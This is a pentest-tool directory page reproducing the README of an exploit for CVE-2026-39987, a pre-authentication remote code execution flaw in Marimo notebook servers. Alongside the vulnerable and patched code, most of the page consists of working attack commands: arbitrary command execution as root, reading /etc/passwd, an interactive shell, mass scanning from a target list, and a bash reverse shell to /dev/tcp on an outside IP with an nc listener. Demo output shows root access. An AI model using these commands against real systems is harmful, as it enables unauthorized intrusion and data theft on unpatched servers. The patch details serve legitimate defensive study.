Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987 — Exploit for Marimo pre-auth RCE via terminal WebSocket, providing command execution, interactive PTY shell, and reverse shell capabilities for authorized penetration testing. | Kitploit
Tools/GitHubGitHub/ghxstsec/cve-2026-39987
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubghxstsec/cve-2026-39987

CVE-2026-39987

Exploit for Marimo pre-auth RCE via terminal WebSocket, providing command execution, interactive PTY shell, and reverse shell capabilities for authorized penetration testing.

View Repository
6h 49m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 — Marimo Pre-Auth RCE via Terminal WebSocket

root@kitploit:~
   _______    ________    ___   ____ ___   _____      _____ ____  ____  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \ / ___/     |__  // __ \/ __ \( __ )
 / /    | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __  |
/ /___  | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ / 
\____/  |___/_____/    /____/\____/____/\____/     /____//____//____/\____/  

  WebSocket Unauthenticated RCE  |  github.com/Ghxstsec/CVE-2026-39987

Python CVE CVSS Affected Fixed


Description

Marimo (19.6k ⭐) is an open-source reactive Python notebook server. Versions ≤ 0.20.4 expose a terminal WebSocket endpoint (/terminal/ws) that completely skips authentication, even when auth is enabled on the server.

A single unauthenticated WebSocket connection yields a full PTY interactive shell. In default Docker deployments, commands execute as root.

Status: Patched in 0.23.0 — marimo-team/marimo@c24d480


Vulnerability

The /terminal/ws endpoint lacks the validate_auth() call present in every other authenticated endpoint:

root@kitploit:~
# ❌ /terminal/ws — no auth check (vulnerable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    # No authentication check!
    await websocket.accept()   # accepts directly
    child_pid, fd = pty.fork() # spawns a PTY shell
root@kitploit:~
# ✅ /ws — correctly authenticated
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # auth enforced
        return

Marimo's AuthenticationMiddleware marks unauthenticated connections as UnauthenticatedUser but does not reject them — enforcement depends entirely on per-endpoint decorators or validate_auth() calls. /terminal/ws has neither.

Attack chain

root@kitploit:~
1. Connect to ws(s)://TARGET/terminal/ws  →  no token required
2. websocket.accept()                     →  connection accepted
3. pty.fork()                             →  PTY shell spawned
4. Send any command                       →  arbitrary RCE as root

Affected versions

SoftwareVulnerablePatched
Marimo≤ 0.20.4≥ 0.23.0

Install

root@kitploit:~
pip install -r requirements.txt

Usage

Single target — command mode

root@kitploit:~
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws

Custom command

root@kitploit:~
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"

Interactive PTY shell

Drop directly into an interactive shell over the WebSocket — no listener needed:

root@kitploit:~
python3 CVE-2026-39987.py -u target.htb -i
root@kitploit:~
[+] Interactive shell — type commands, Ctrl+C or 'exit' to quit

root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root

Reverse shell

When using a reverse shell payload, detach the process from the PTY with nohup ... & so it survives the WebSocket connection closing:

root@kitploit:~
# Set up listener first
nc -lvnp 4444

# Then fire the payload
python3 CVE-2026-39987.py -u target.htb \
  -c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"

⚠️ Without nohup ... &, the shell process is tied to the PTY and gets killed when the WebSocket closes. Use -i for a direct shell or nohup for reverse shells.

Mass scan

root@kitploit:~
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3

All options

root@kitploit:~
  -u URL,  --url URL          single target URL or host
  -l LIST, --list LIST        file with targets, one per line
  -c CMD,  --cmd CMD          command to execute (default: id && cat /root/root.txt)
  -p PATH, --path PATH        WebSocket endpoint path (default: /terminal/ws)
  -t SEC,  --timeout SEC      seconds of silence before giving up (default: 2)
  -d SEC,  --delay SEC        post-connect delay before draining banner (default: 1)
  -i,      --interactive      interactive PTY shell — keeps connection open
           --verify           enable SSL certificate verification (disabled by default)
  -q,      --quiet            suppress status messages, output only

Demo

root@kitploit:~
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb

   _______    ________    ___   ____ ___   _____      _____ ____  ____  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \ / ___/     |__  // __ \/ __ \( __ )
 / /    | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __  |
/ /___  | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ / 
\____/  |___/_____/    /____/\____/____/\____/     /____//____//____/\____/  

[*] Target  : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Mode    : command
[*] Command : id && cat /root/root.txt
[*] Connecting...
[*] Draining banner...
[+] Sending payload...
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}

Reproduce locally

root@kitploit:~
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
root@kitploit:~
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718

References

  • NVD — CVE-2026-39987
  • GitHub Advisory GHSA-2679-6mx9-h9xc
  • marimo-team/marimo#9098
  • Patch — marimo-team/marimo@c24d480
  • CISA KEV
  • Sysdig Blog — From disclosure to exploitation in under 10 hours

Disclaimer

This tool is provided for educational and authorized penetration testing purposes only.
The author is not responsible for any misuse or damage caused by this tool.
Always obtain proper authorization before testing any system you do not own.

Download Tool